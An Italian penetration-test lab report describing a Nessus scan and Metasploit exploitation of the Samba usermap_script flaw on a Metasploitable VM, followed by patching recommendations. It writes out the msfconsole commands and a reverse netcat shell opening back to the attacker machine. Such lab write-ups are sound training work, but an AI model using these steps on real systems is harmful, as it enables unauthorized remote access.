



Report di Penetration Test – Sfruttamento Vulnerabilità Samba su Metasploitable

Data: 19 Maggio 2025

Autori: Stefano Gugliotta, Simone Triarico

Obiettivo: Dimostrare la vulnerabilità di un servizio attivo sulla macchina Metasploitable (IP: 192.168.50.150) e ottenere l'accesso remoto tramite lo sfruttamento della vulnerabilità.

Introduzione:

Questo report descrive un test di penetration testing condotto sull'ambiente virtuale Metasploitable. L'obiettivo principale di questo test è dimostrare la vulnerabilità di un servizio di rete specifico, in questo caso il server Samba in esecuzione sulla macchina target. In un contesto di laboratorio controllato, gli indirizzi IP delle

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.50.150
netmask 255.255.255.0
network 192.168.50.0
broadcast 192.168.50.255
gateway 192.168.50.1
```

macchine coinvolte – l'attaccante (Kali Linux) e la vittima (Metasploitable) – sono stati configurati manualmente per simulare uno scenario di rete specifico e isolato. Questa configurazione manuale permette di concentrarsi sull'analisi e sullo sfruttamento di una particolare vulnerabilità senza le complessità di un ambiente di rete più ampio e dinamico. Il test mira a evidenziare i rischi per la sicurezza derivanti da software obsoleto e non adeguatamente protetto, anche in contesti di rete apparentemente semplici. Di lato viene ripostata la schermata di configurazione utilizzando il comando `sudo nano /etc/network/interfaces` per settare manualmente l' IP sulla macchina virtuale di Metasploitable.

Ambiente di Test:

- **Attaccante:** Kali Linux (IP: 192.168.50.100)
- **Vittima:** Metasploitable (IP: 192.168.50.150)

Strumenti Utilizzati:

- **Nessus:** Scanner di vulnerabilità per identificare potenziali debolezze nel sistema target.
- **Metasploit Framework (MSFConsole):** Framework per lo sviluppo e l'esecuzione di exploit.

Fasi dell'Attività:

1. Vulnerability Scanning con Nessus:

- È stata condotta una scansione di base della macchina Metasploitable utilizzando Nessus. L'obiettivo era identificare i servizi in ascolto e le potenziali vulnerabilità associate.
- La scansione ha rivelato diversi servizi attivi sulla macchina target, tra cui un server Samba in esecuzione sulla porta TCP 445.
- Tra i risultati della scansione, è stata identificata una vulnerabilità critica o elevata associata al servizio Samba, specificamente correlata alla gestione degli utenti e all'esecuzione di comandi tramite lo script di mapping degli utenti ("Username map script Command



Execution"). Questa vulnerabilità è tipicamente presente in versioni di Samba precedenti alla 3.0.20.

2. Sfruttamento della Vulnerabilità Samba con MSFConsole:

- Successivamente, è stato utilizzato Metasploit Framework per sfruttare la vulnerabilità identificata nel servizio Samba.
- È stata avviata la console di Metasploit (MSFConsole).
- Utilizzando il comando `search usermap_script`, è stato localizzato l'exploit appropriato: `exploit/multi/samba/usermap_script`.
- L'exploit selezionato è stato configurato con i seguenti parametri:
 - RHOSTS: Impostato sull'indirizzo IP della macchina vittima (192.168.50.150).
 - RPORT: Verificato e confermato sulla porta predefinita di Samba (445).
 - LHOST: Impostato sull'indirizzo IP della macchina attaccante (192.168.50.100).
 - LPORT: Impostato sulla porta di ascolto desiderata per la reverse shell (5555).
- Il comando `exploit` è stato eseguito per avviare il processo di sfruttamento.

```
msf6 > search usermap_script

Matching Modules
=====
#  Name                                     Disclosure Date  Rank
-  -                                     -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent

Interact with a module by name or index. For example info 0, use 0 or
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
```

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.50.100:5555
[*] Command shell session 1 opened (192.168.50.100:5555 → 192.168.50.150:43022)

ipconfig
/bin/sh: line 3: ipconfig: command not found
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:83:4e:b8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.150/24 brd 192.168.50.255 scope global eth0
    inet6 fe80::a00:27ff:fe83:4eb8/64 scope link
        valid_lft forever preferred_lft forever
```

Conclusioni:

L'esercizio ha dimostrato con successo come una vulnerabilità identificata tramite una scansione di vulnerabilità (Nessus) possa essere sfruttata utilizzando un framework di penetration testing (Metasploit) per ottenere l'accesso remoto a un sistema. La vulnerabilità presente nel servizio Samba ha permesso l'esecuzione di codice arbitrario, portando alla compromissione della macchina Metasploitable.

Raccomandazioni:

- **Aggiornamento del Software:** È fondamentale mantenere tutti i software e i servizi aggiornati all'ultima versione per correggere vulnerabilità note. In questo caso specifico, l'aggiornamento del server Samba avrebbe mitigato il rischio di sfruttamento.
- **Configurazione Sicura:** Implementare configurazioni sicure per i servizi di rete, seguendo le best practice del settore.



- **Monitoraggio della Sicurezza:** Implementare sistemi di monitoraggio per rilevare attività sospette e potenziali tentativi di intrusione.
- **Vulnerability Assessment Periodici:** Eseguire regolarmente scansioni di vulnerabilità per identificare e mitigare proattivamente le debolezze del sistema.